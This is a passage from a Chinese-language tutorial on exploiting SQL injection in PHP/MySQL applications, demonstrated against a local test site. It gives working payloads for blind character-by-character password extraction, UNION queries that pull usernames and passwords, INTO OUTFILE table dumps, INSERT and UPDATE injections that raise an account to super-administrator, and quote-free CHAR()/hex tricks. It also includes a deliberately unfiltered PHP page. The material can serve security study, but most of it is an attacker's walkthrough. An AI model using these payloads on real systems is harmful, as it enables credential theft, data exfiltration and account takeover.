<td bgcolor="#eeeeee"><span style="color: #0000ff;">http://127.0.0.1/injection/user.php?username=angel&#8217; and LEFT(password,1)=&#8217;m<br />
http://127.0.0.1/injection/user.php?username=angel&#8217; and LEFT(password,2)=&#8217;my<br />
http://127.0.0.1/injection/user.php?username=angel&#8217; and LEFT(password,3)=&#8217;myp<br />
http://127.0.0.1/injection/user.php?username=angel&#8217; and LEFT(password,4)=&#8217;mypa<br />
http://127.0.0.1/injection/user.php?username=angel&#8217; and LEFT(password,5)=&#8217;mypas<br />
http://127.0.0.1/injection/user.php?username=angel&#8217; and LEFT(password,6)=&#8217;mypass</span></td>
</tr>
</tbody>
</table>
<p>　　看，密码不是出来了吗？简单吧？当然实际情况会有不少条件限制，下面还会讲到这个例子的深入应用。</p>
<p><strong>② 跨表查询</strong></p>
<p>　　这部分就和ASP有点出入了，除了一定要用UNION连接两条SQL语句，最难掌握的就是字段的数量，如果看过MYSQL参考手册，就知道了在 SELECT 中的 select_expression (select_expression 表示你希望检索的列[字段]) 部分列出的列必须具有同样的类型。第一个 SELECT 查询中使用的列名将作为结果集的列名返回。简单的说，也就是UNION后面查选的字段数量、字段类型都应该与前面的SELECT一样，而且，如果前面的SELECT为真，就同时返回两个SELECT的结果，当前面的SELECT为假，就会返回第二个SELECT所得的结果，某些情况会替换掉在第一个SELECT原来应该显示的字段，如下图：</p>
<p>　　看了这个图直观多了吧？所以应该先知道前面查询表的数据表的结构。如果我们查询两个数据表的字段相同，类型也相同，我们就可以这样提交:</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">SELECT * FROM article WHERE articleid=&#8217;$id&#8217; UNION SELECT * FROM……</span></td>
</tr>
</tbody>
</table>
<p>　　如果字段数量、字段类型任意一个不相同，就只能搞清除数据类型和字段数量，这样提交：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">SELECT * FROM article WHERE articleid=&#8217;$id&#8217; UNION SELECT 1,1,1,1,1,1,1 FROM……</span></td>
</tr>
</tbody>
</table>
<p>　　否则就会报错：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">The used SELECT statements have a different number of columns</span></td>
</tr>
</tbody>
</table>
<p>　　如果不知道数据类型和字段数量，可以用1来慢慢试，因为1属于int\str\var类型，所以我们只要慢慢改变数量，一定可以猜到的。如果不能马上理解上面的理论，后面有很详细的例子。<br />
　　我们看看下面的数据结构，是一个简单的文章数据表。</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">CREATE TABLE `article` (<br />
`articleid` int(11) NOT NULL auto_increment,<br />
`title` varchar(100) NOT NULL default ”,<br />
`content` text NOT NULL,<br />
PRIMARY KEY (`articleid`)<br />
) TYPE=MyISAM AUTO_INCREMENT=3 ;</span><span style="color: #0000ff;">#<br />
# 导出表中的数据 `article`<br />
#</span></p>
<p><span style="color: #0000ff;">INSERT INTO `article` VALUES (1, &#8216;我是一个不爱读书的孩子&#8217;, &#8216;中国的教育制度真是他妈的落后！如果我当教育部长。我要把所有老师都解雇！&#8217;);<br />
INSERT INTO `article` VALUES (2, &#8216;我恨死你&#8217;, &#8216;我恨死你了，你是什么东西啊&#8217;);</span></td>
</tr>
</tbody>
</table>
<p>　　这个表的字段类型分别是int、varchar、text，如果我们用UNION联合查询的时候，后面的查询的表的结构和这个一样。就可以用“SELECT *”，如果有任何一个不一样，那我们只能用“SELECT 1,1,1,1……”了。</p>
<p>　　下面的文件是一个很标准、简单的显示文章的文件，很多站点都是这种页面没有过滤，所以成为最明显的注入点，下面就拿这个文件作为例子，开始我们的注入实验。</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">&lt;?php<br />
$servername = “localhost”;<br />
$dbusername = “root”;<br />
$dbpassword = “”;<br />
$dbname = “injection”;</span><span style="color: #0000ff;">mysql_connect($servername,$dbusername,$dbpassword) or die (“数据库连接失败”);</span></p>
<p><span style="color: #0000ff;">$sql = “SELECT * FROM article WHERE articleid=&#8217;$id&#8217;”;<br />
$result = mysql_db_query($dbname,$sql);<br />
$row = mysql_fetch_array($result);</span></p>
<p><span style="color: #0000ff;">if (!$row)<br />
{<br />
　　echo “该记录不存在”;<br />
　　echo “&lt;p&gt;SQL Query:$sql&lt;p&gt;”;<br />
　　exit;<br />
}</span></p>
<p><span style="color: #0000ff;">echo “title&lt;br&gt;”.$row[title].”&lt;p&gt;\n”;<br />
echo “content&lt;br&gt;”.$row[content].”&lt;p&gt;\n”;<br />
echo “&lt;p&gt;SQL Query:$sql&lt;p&gt;”;<br />
?&gt;</span></td>
</tr>
</tbody>
</table>
<p>正常情况下，我们提交这样的一个请求：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">http://127.0.0.1/injection/show.php?id=1</span></td>
</tr>
</tbody>
</table>
<p>　　就会显示articleid为1的文章，但我们不需要文章，我们需要的是用户的敏感信息，就要查询user表，现在是查询刚才我们建立的user表。<br />
　　由于$id没有过滤给我们制造了这个机会，我们要把show.php文件中的SQL语句改写成类似这个样子：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">SELECT * FROM article WHERE articleid=&#8217;$id&#8217; UNION SELECT * FROM user ……</span></td>
</tr>
</tbody>
</table>
<p>　　由于这个代码是有单引号包含着变量的，我们现在提交：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">http://127.0.0.1/injection/show.php?id=1&#8242; union select 1,username,password from user/*</span></td>
</tr>
</tbody>
</table>
<p>　　按道理说，应该显示用户表的username、password两个字段的内容才对啊，怎么正常显示文章呢？如图：</p>
<p>　　其实，我们提交的articleid=1是article表里存在的，执行结果就是真了，自然返回前面SELECT的结果，当我们提交空的值或者提交一个不存在的值，就会蹦出我们想要的东西：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">http://127.0.0.1/injection/show.php?id=&#8217; union select 1,username,password from user/*<br />
http://127.0.0.1/injection/show.php?id=99999&#8242; union select 1,username,password from user/*</span></td>
</tr>
</tbody>
</table>
<p>　　如图：</p>
<p>　　现在就在字段相对应的地方显示出我们所要的内容。如果还不清楚思路以及具体的应用，后面还会讲到一些高级的技巧。</p>
<p><strong>三、导出文件</strong></p>
<p>　　这个是比较容易构造但又有一定限制的技术，我们经常可以看见以下的SQL语句：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">select * from table into outfile &#8216;c:/file.txt&#8217;<br />
select * from table into outfile &#8216;/var/www/file.txt&#8217;</span></td>
</tr>
</tbody>
</table>
<p>　　但这样的语句，一般很少用在程序里，有谁会把自己的数据导出呢？除非是备份，但我也没有见过这种备份法。所以我们要自己构造，但必须有下面的前提条件：</p>
<ul>
<li>必须导出到能访问的目录，这样才能下载。</li>
<li>能访问的目录必须要有可写的权限，否则导出会失败。</li>
<li>确保硬盘有足够的容量能容下导出的数据，这个很少见。</li>
<li>确保要已经存在相同的文件名，会导致导出失败，并提示：“File &#8216;c:/file.txt&#8217; already exists”，这样可以防止数据库表和文件例如/etc/passwd被破坏。</li>
</ul>
<p>　　我们继续用上面的user.php和show.php两个文件举例，如果一个一个用户猜解实在是太慢了，如果对方的密码或者其他敏感信息很复杂，又不会写Exploit，要猜到什么时候啊？来点大范围的，直接导出全部数据好了。user.php文件的查询语句，我们按照into outfile的标准格式，注入成下面的语句就能导出我们需要的信息了：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">SELECT * FROM user WHERE username=&#8217;$username&#8217; into outfile &#8216;c:/file.txt&#8217;</span></td>
</tr>
</tbody>
</table>
<p>　　知道怎么样的语句可以实现我们的目的，我们就很容易构造出相应的语句：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">http://127.0.0.1/injection/user.php?username=angel&#8217; into outfile &#8216;c:/file.txt</span></td>
</tr>
</tbody>
</table>
<p>　　出现了错误提示，但从返回的语句看来，我们的SQL语句确实是注入正确了，即使出现错误，也是查询的问题了，文件还是乖乖的被导出了，如图：</p>
<p>　　由于代码本身就有WHERE来指定一个条件，所以我们导出的数据仅仅是满足这个条件的数据，如果我们想导出全部呢？其实很简单，只要使这个WHERE条件为假，并且指定一个成真的条件，就可以不用被束缚在WHERE里了，来看看经典1=1发挥作用了：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">http://127.0.0.1/injection/user.php?username=&#8217; or 1=1 into outfile &#8216;c:/file.txt</span></td>
</tr>
</tbody>
</table>
<p>　　实际的SQL语句变为：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">SELECT * FROM user WHERE username=” or 1=1 into outfile &#8216;c:/file.txt&#8217;</span></td>
</tr>
</tbody>
</table>
<p>　　这样username的参数是空的，就是假了，1=1永远是真的，那or前面的WHERE就不起作用了，但千万别用and哦，否则是不能导出全部数据的。<br />
　　既然条件满足，在这种情况下就直接导出所有数据！如图：</p>
<p>　　但是跨表的导出文件的语句该怎么构造呢？还是用到UNION联合查询，所以一切前提条件都应该和UNION、导出数据一样，跨表导出数据正常情况下应该相下面的一样：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">SELECT * FROM article WHERE articleid=&#8217;1&#8242; union select 1,username,password from user into outfile &#8216;c:/user.txt&#8217;</span></td>
</tr>
</tbody>
</table>
<p>　　这样可以导出文件了，如果我们要构造就提交：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">http://127.0.0.1/injection/show.php?id=1&#8242; union select 1,username,password from user into outfile &#8216;c:/user.txt</span></td>
</tr>
</tbody>
</table>
<p>　　文件是出来了，可是有一个问题，由于前面的查询articleid=&#8217;1&#8242;为真了，所以导出的数据也有整个文章的一部分，如图：</p>
<p>　　所以我们把应该使前面的查询语句为假，才能只导出后面查询的内容，只要提交：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">http://127.0.0.1/injection/show.php?id=&#8217; union select 1,username,password from user into outfile &#8216;c:/user.txt</span></td>
</tr>
</tbody>
</table>
<p>　　这样才能得到我们想要的资料：</p>
<p>　　值得注意的是想要导出文件，必须magic_quotes_gpc没有打开，并且程序也没有用到addslashes()函数，还有不能对单引号做任何过滤，因为我们在提交导出路径的时候，一定要用引号包含起来，否则，系统不会认识那是一个路径，也不用尝试用char()或者什么函数，那是徒劳。</p>
<p><strong>INSERT</strong></p>
<p>　　如果大家认为MYSQL中注入仅仅适用于SELECT就大错特错了，其实还有两个危害更大的操作，那就是INSERT和UPDATE语句，这类例子不多，先面先说说INSERT，这主要应用于改写插入的数据，我们来看个简单而又广泛存在的例子，看看下面的数据结构：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">CREATE TABLE `user` (<br />
`userid` INT NOT NULL AUTO_INCREMENT ,<br />
`username` VARCHAR( 20 ) NOT NULL ,<br />
`password` VARCHAR( 50 ) NOT NULL ,<br />
`homepage` VARCHAR( 255 ) NOT NULL ,<br />
`userlevel` INT DEFAULT &#8217;1&#8242; NOT NULL ,<br />
PRIMARY KEY ( `userid` )<br />
);</span></td>
</tr>
</tbody>
</table>
<p>　　其中的userlevel代表用户的等级，1是普通用户，2是普通管理员，3是超级管理员，一个注册程序默认是注册成普通用户，如下：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES (”, &#8216;$username&#8217;, &#8216;$password&#8217;, &#8216;$homepage&#8217;, &#8217;1&#8242;);</span></td>
</tr>
</tbody>
</table>
<p>　　默认userlevel字段是插入1，其中的变量都是没有经过过滤就直接写入数据库的，不知道大家有什么想法？对，就是直接注入，使我们一注册就是超级管理员。我们注册的时候，构造$homepage变量，就可以达到改写的目的，指定$homepage变量为：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">http://4ngel.net&#8217;, &#8217;3’)#</span></td>
</tr>
</tbody>
</table>
<p>　　插入数据库的时候就变成：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES (”, &#8216;angel&#8217;, &#8216;mypass&#8217;, &#8216;http://4ngel.net&#8217;, &#8217;3’)#&#8217;, &#8217;1&#8242;);</span></td>
</tr>
</tbody>
</table>
<p>　　这样就注册成为超级管理员了。但这种利用方法也有一定的局限性，比如，我没有需要改写的变量如userlevel字段是数据库的第一个字段，前面没有地方给我们注入，我们也没有办法了。<br />
或许INSERT还有更广泛的应用，大家可以自行研究，但原理都是一样的。</p>
<p><strong>UPDATE</strong></p>
<p>　　和INSERT相比，UPDATE的应用更加广泛，如果过滤不够，足以改写任何数据，还是拿刚才的注册程序来说，数据结构也不变，我们看一下用户自己修改自己的资料，SQL语句一般都是这样写的：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">UPDATE user SET password=&#8217;$password&#8217;, homepage=&#8217;$homepage&#8217; WHERE id=&#8217;$id&#8217;</span></td>
</tr>
</tbody>
</table>
<p>　　用户可以修改自己的密码和主页，大家有什么想法？总不至于还是提升权限吧？程序中的SQL语句又没有更新userlevel字段，怎么提升啊？还是老办法，构造$homepage变量, 指定$homepage变量为：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">http://4ngel.net&#8217;, userlevel=&#8217;3</span></td>
</tr>
</tbody>
</table>
<p>　　整个SQL语句就变成这样：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">UPDATE user SET password=&#8217;mypass&#8217;, homepage=&#8217;http://4ngel.net&#8217;, userlevel=&#8217;3&#8242; WHERE id=&#8217;$id&#8217;</span></td>
</tr>
</tbody>
</table>
<p>　　我们是不是又变成超级管理员了？程序不更新userlevel字段，我们自己来。<br />
还有更加绝的，直接修改任意用户的资料，还是刚才的例句，但这次安全一点，使用MD5加密：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">UPDATE user SET password=&#8217;MD5($password)&#8217;, homepage=&#8217;$homepage&#8217; WHERE id=&#8217;$id&#8217;</span></td>
</tr>
</tbody>
</table>
<p>　　尽管密码被加密了，但我们还是可以构造我们需要的语句，我们指定$password为：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">mypass)&#8217; WHERE username=&#8217;admin&#8217;#</span></td>
</tr>
</tbody>
</table>
<p>　　这时整个语句变为：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">UPDATE user SET password=&#8217;MD5(mypass)&#8217; WHERE username=&#8217;admin&#8217;#)&#8217;, homepage=&#8217;$homepage&#8217; WHERE id=&#8217;$id&#8217;</span></td>
</tr>
</tbody>
</table>
<p>　　这样就更改了更新的条件，我管你后面的代码是不是在哭这说：我们还没有执行啊。当然，也可以从$id下手，指定$id为：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">&#8216; OR username=&#8217;admin&#8217;</span></td>
</tr>
</tbody>
</table>
<p>　　这时整个语句变为：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">UPDATE user SET password=&#8217;MD5($password)&#8217;, homepage=&#8217;$homepage&#8217; WHERE id=” OR username=&#8217;admin&#8217;</span></td>
</tr>
</tbody>
</table>
<p>　　照样也可以达到修改的目的，所以说注入是非常灵活的技术。如果有些变量是从数据库读取的固定值，甚至用$_SESSION['username']来读取服务器上的SESSION信息时，我们就可以在原来的WHERE之前自己构造WHERE并注释掉后面的代码，由此可见，灵活运用注释也是注入的技巧之一。这些技巧把注入发挥得淋漓尽致。不得不说是一种艺术。<br />
　　变量的提交方式可以是GET或POST，提交的位置可以是地址栏、表单、隐藏表单变量或修改本地COOKIE信息等，提交的方式可以是本地提交，服务器上提交或者是工具提交，多种多样就看你如何运用了。</p>
<p><strong>高级应用</strong></p>
<p><strong>1、 使用MYSQL内置函数</strong></p>
<p>　　我们在ACCESS、MSSQL中的注入，有很多比较高级的注入方法，比如深入到系统，猜中文等，这些东西，在MYSQL也能很好得到发挥，其实在MYSQL有很多内置函数都可以用在SQL语句里，这样就可以使我们能在注入时更灵活，得到更多关于系统的信息。有几个函数是比较常用的：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">DATABASE()<br />
USER()<br />
SYSTEM_USER()<br />
SESSION_USER()<br />
CURRENT_USER()<br />
……</span></td>
</tr>
</tbody>
</table>
<p>　　各个函数的具体作用大家可以查阅MYSQL手册，比如下面这句UPDATE：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">UPDATE article SET title=$title WHERE articleid=1</span></td>
</tr>
</tbody>
</table>
<p>　　我们可以指定$title为以上的各个函数，因为没有被引号包含，所以函数是能正确执行的：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">UPDATE article SET title=DATABASE() WHERE id=1<br />
#把当前数据库名更新到title字段<br />
UPDATE article SET title=USER() WHERE id=1<br />
#把当前 MySQL 用户名更新到title字段<br />
UPDATE article SET title=SYSTEM_USER() WHERE id=1<br />
#把当前 MySQL 用户名更新到title字段<br />
UPDATE article SET title=SESSION_USER() WHERE id=1<br />
#把当前 MySQL 用户名更新到title字段<br />
UPDATE article SET title=CURRENT_USER() WHERE id=1<br />
#把当前会话被验证匹配的用户名更新到title字段</span></td>
</tr>
</tbody>
</table>
<p>　　灵活运用MYSQL内置的函数，可以获得不少有用的信息，比如数据库版本、名字、用户、当前数据库等，比如前面跨表查询的例子，提交：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">http://127.0.0.1/injection/show.php?id=1</span></td>
</tr>
</tbody>
</table>
<p>　　可以看到一篇文章，我们怎么样才能知道MYSQL数据库的相关信息呢？同样也是用MYSQL内置函数配合UNION联合查询，不过相比之下就简单得多了，甚至还可以读取文件！既然要用到UNION，同样要满足UNION的条件——字段数、数据类型相同。如果我们知道了数据结构，直接构造：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">http://127.0.0.1/injection/show.php?id=-1 union select 1,database(),version()</span></td>
</tr>
</tbody>
</table>
<p>　　就可以返回当前数据库名和数据库版本，构造是比较容易的。<br />
　　下面附上一段由我好友Super·Hei写的代码，可以把字符串转换为ASCII代码。感谢提供。</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">#!/usr/bin/perl<br />
#cody by Super·Hei<br />
#to angel<br />
#C:\&gt;test.pl c:\boot.ini<br />
#99,58,92,98,111,111,116,46,105,110,105</span><span style="color: #0000ff;">$ARGC = @ARGV;<br />
if ($ARGC != 1) {<br />
　　print “Usage: $0 \n”;<br />
　　exit(1);<br />
}</span></p>
<p><span style="color: #0000ff;">$path=shift;</span></p>
<p><span style="color: #0000ff;">@char = unpack(&#8216;C*&#8217;, $path);</span></p>
<p><span style="color: #0000ff;">$asc=join(“,”,@char);</span></p>
<p><span style="color: #0000ff;">print $asc; </span></td>
</tr>
</tbody>
</table>
<p><strong>2、不加单引号注入</strong></p>
<p><em>注：现在我们假设magic_quotes_gpc为on了。</em></p>
<p>　　众所周知，整形的数据是不需要用引号引起来的，而字符串就要用引号，这样可以避免很多问题。但是如果仅仅用整形数据，我们是没有办法注入的，所以我需要把我们构造的语句转换成整形类型，这个就需要用到CHAR()，ASCII(),ORD(),CONV()这些函数了，举个简单的例子：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">SELECT * FROM user WHERE username=&#8217;angel&#8217;</span></td>
</tr>
</tbody>
</table>
<p>　　如何使$username不带引号呢？很简单我们这样提交就可以了。</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">SELECT * FROM user WHERE username=char(97,110,103,101,108)<br />
# char(97,110,103,101,108) 相当于angel，十进制。<br />
SELECT * FROM user WHERE username=0x616E67656C<br />
# 0x616E67656C 相当于angel，十六进制。</span></td>
</tr>
</tbody>
</table>
<p>　　其他函数大家自己去测试好了，但是前提就如上面所说的，我们可以构造的变量不被引号所包含才有意义，不然我们不管构造什么，只是字符串，发挥不了作用，比如前面猜密码的例子(user,php)，我们把查询条件改为userid：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">SELECT * FROM user WHERE userid=userid</span></td>
</tr>
</tbody>
</table>
<p>　　按照正常的，提交：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">http://127.0.0.1/injection/user.php?userid=1</span></td>
</tr>
</tbody>
</table>
<p>　　就可以查询userid为1的用户资料，因为1是数字，所以有没有引号都无所谓，但是如果我们构造：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">http://127.0.0.1/injection/user.php?userid=1 and password=mypass</span></td>
</tr>
</tbody>
</table>
<p>　　绝对错误，因为mypass是字符串，除非提交：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">http://127.0.0.1/injection/user.php?userid=1 and password=&#8217;mypass&#8217;</span></td>
</tr>
</tbody>
</table>
<p>　　由于magic_quotes_gpc打开的关系，这个是绝对不可能的。引号会变成/&#8217;，我们有什么办法可以把这些字符串变成整形数据吗？就是用CHAR()函数，如果我们提交：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">http://127.0.0.1/injection/user.php?userid=1 and password=char(109,121,112,97,115,115)</span></td>
</tr>
</tbody>
</table>
<p>　　正常返回，实践证明，我们用CHAR()是可行的，我们就把CHAR()用进LEFT函数里面逐位猜解！</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,1)=char(109)</span></td>
</tr>
</tbody>
</table>
<p>　　正常返回，说明userid为1的用户，password字段第一位是char(109)，我们继续猜：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,2)=char(109,121)</span></td>
</tr>
</tbody>
</table>
<p>　　又正常返回，说明正确，但这样影响到效率，既然是整形，我们完全可以用比较运算符来比较：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,1)&gt;char(100)</span></td>
</tr>
</tbody>
</table>
<p>　　然后适当调整char()里面的数字来确定一个范围，很快就可以猜出来，到了后面的时候，还是可以用比较运算符来比较：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,3)&gt;char(109,121,111)</span></td>
</tr>
</tbody>
</table>
<p>　　而原来已经猜好的不用改变了，很快就可以猜完：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,6)=char(109,121,112,97,115,115)</span></td>
</tr>
</tbody>
</table>
<p>　　然后在mysql&gt;命令提示符下或者在phpMyadmin里面执行：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">select char(109,121,112,97,115,115)</span></td>
</tr>
</tbody>
</table>
<p>　　就会返回：mypass</p>
<p>　　当然也可以使用SUBSTRING(str,pos,len)和MID(str,pos,len)函数，从字符串 str 的 pos 位置起返回 len 个字符的子串。这个和ACCESS是一样的。还是刚才的例子，我们猜password字段的第三位、第四位试试，第三位是p，第四位是a，我们这样构造：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">http://127.0.0.1/injection/user.php?userid=1 and mid(password,3,1)=char(112)<br />
http://127.0.0.1/injection/user.php?userid=1 and mid(password,4,1)=char(97)</span></td>
</tr>
</tbody>
</table>
<p>　　我们要的结果就迸出来了。当然，如果觉得麻烦，还可以用更简单的办法，就是利用ord()函数，具体作用可以去查看MYSQL参考手册，该函数返回的是整形类型的数据，可以用比较运算符进行比较、当然得出的结果也就快多了，也就是这样提交：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))&gt;111<br />
http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))&lt;113<br />
http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))=112</span></td>
</tr>
</tbody>
</table>
<p>　　这样我们就得出结果了，然后我们再用char()函数还原出来就好了。至于其他更多函数，大家可以自己去试验，限于篇幅也不多说了。</p>
<p><strong>3、快速确定未知数据结构的字段及类型</strong></p>
<p>　　如果不清楚数据结构，很难用UNION联合查询，这里我告诉大家一个小技巧，也是非常有用非常必要的技巧，充分发挥UNION的特性。<br />
　　还是拿前面的show.php文件做例子，当我们看到形如xxx.php?id=xxx的URL的时候，如果要UNION，就要知道这个xxx.php查询的数据表的结构，我们可以这样提交来快速确定有多少个字段：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">http://127.0.0.1/injection/show.php?id=-1 union select 1,1,1</span></td>
</tr>
</tbody>
</table>
